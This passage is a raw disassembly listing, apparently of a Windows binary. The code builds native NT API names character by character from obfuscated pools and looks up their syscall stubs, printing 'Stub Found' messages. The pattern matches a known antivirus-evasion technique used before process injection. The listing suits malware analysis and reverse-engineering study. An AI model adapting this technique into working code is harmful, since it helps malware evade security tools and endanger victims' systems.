lea r8, [0x05150f0b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3430]
lea rdx, [rbp + 0x3450]
lea r8, [0x05150f13]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3410]
lea rdx, [rbp + 0x3430]
lea r8, [0x05150f15]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3410]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3410]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x361f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x3620]
mov rcx, qword [rbp + 0x5c48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x404f52
lea rbx, [0x05150ee9]
jmp 0x404f59
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x380f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x380f]
lea rax, [rbp + 0x37e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x05150f17]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3780]
lea rdx, [rbp + 0x37a0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3760]
lea rdx, [rbp + 0x3780]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3740]
lea rdx, [rbp + 0x3760]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3720]
lea rdx, [rbp + 0x3740]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3700]
lea rdx, [rbp + 0x3720]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x36e0]
lea rdx, [rbp + 0x3700]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x36c0]
lea rdx, [rbp + 0x36e0]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x36a0]
lea rdx, [rbp + 0x36c0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3680]
lea rdx, [rbp + 0x36a0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3640]
lea rdx, [rbp + 0x3660]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3640]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3660]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3680]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x36a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x36c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x36e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3700]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3720]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3740]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3760]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x380f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x3810]
mov rcx, qword [rbp + 0x5c40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x405292
lea rbx, [0x05150ee9]
jmp 0x405299
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3adf]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x3adf]
lea rax, [rbp + 0x3ab0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3a10]
lea rdx, [rbp + 0x3a30]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x39f0]
lea rdx, [rbp + 0x3a10]
lea r8, [0x05150f1b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x39d0]
lea rdx, [rbp + 0x39f0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x39b0]
lea rdx, [rbp + 0x39d0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3990]
lea rdx, [rbp + 0x39b0]
lea r8, [0x05150f1d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3970]
lea rdx, [rbp + 0x3990]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3950]
lea rdx, [rbp + 0x3970]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3930]
lea rdx, [rbp + 0x3950]
lea r8, [0x05150f21]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3910]
lea rdx, [rbp + 0x3930]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x38f0]
lea rdx, [rbp + 0x3910]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x38d0]
lea rdx, [rbp + 0x38f0]
lea r8, [0x05150f23]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x38b0]
lea rdx, [rbp + 0x38d0]
lea r8, [0x05150f25]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3890]
lea rdx, [rbp + 0x38b0]
lea r8, [0x05150f27]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3870]
lea rdx, [rbp + 0x3890]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3850]
lea rdx, [rbp + 0x3870]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3830]
lea rdx, [rbp + 0x3850]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3830]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3850]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3870]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3890]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x38b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x38d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x38f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3910]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3930]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3950]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3970]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3990]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x39b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x39d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x39f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3adf]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3ae0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x3ae0]
mov rcx, qword [rbp + 0x5c38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x3ae0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x405706
lea rbx, [0x05150ee9]
jmp 0x40570d
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3e2f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x3e2f]
lea rax, [rbp + 0x3e00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x3de0]
lea rdx, [rbp + 0x3e00]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3dc0]
lea rdx, [rbp + 0x3de0]
lea r8, [0x05150f29]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3da0]
lea rdx, [rbp + 0x3dc0]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3d80]
lea rdx, [rbp + 0x3da0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d80]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d60]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d40]
lea r8, [0x05150f2b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3d00]
lea rdx, [rbp + 0x3d20]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ce0]
lea rdx, [rbp + 0x3d00]
lea r8, [0x05150f2d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ce0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x05150f09]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3b20]
lea rdx, [rbp + 0x3b40]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3b00]
lea rdx, [rbp + 0x3b20]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3b00]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3b00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ce0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3d20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3d40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3d60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3d80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3da0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3dc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3de0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3e00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3e2f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x3e30]
mov rcx, qword [rbp + 0x5c30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x405c2a
lea rbx, [0x05150ee9]
jmp 0x405c31
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x40bf]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x40bf]
lea rax, [rbp + 0x4090]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4070]
lea rdx, [rbp + 0x4090]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4050]
lea rdx, [rbp + 0x4070]
lea r8, [0x05150f17]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4030]
lea rdx, [rbp + 0x4050]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4010]
lea rdx, [rbp + 0x4030]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ff0]
lea rdx, [rbp + 0x4010]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3fd0]
lea rdx, [rbp + 0x3ff0]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3fb0]
lea rdx, [rbp + 0x3fd0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3f90]
lea rdx, [rbp + 0x3fb0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3f70]
lea rdx, [rbp + 0x3f90]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3f50]
lea rdx, [rbp + 0x3f70]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3f30]
lea rdx, [rbp + 0x3f50]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3f10]
lea rdx, [rbp + 0x3f30]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ef0]
lea rdx, [rbp + 0x3f10]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3e50]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3f10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3f50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3f70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3f90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3fb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3ff0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4010]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4030]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4050]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4070]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4090]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x40bf]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x40c0]
mov rcx, qword [rbp + 0x5c28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x406046
lea rbx, [0x05150ee9]
jmp 0x40604d
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x41cf]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x41cf]
lea rax, [rbp + 0x41a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4180]
lea rdx, [rbp + 0x41a0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x05150f0b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x40e0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x41a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x41cf]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x41d0]
mov rcx, qword [rbp + 0x5c20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x406252
lea rbx, [0x05150ee9]
jmp 0x406259
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x439f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x439f]
lea rax, [rbp + 0x4370]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x05150f23]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x05150f2f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x05150f09]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4270]
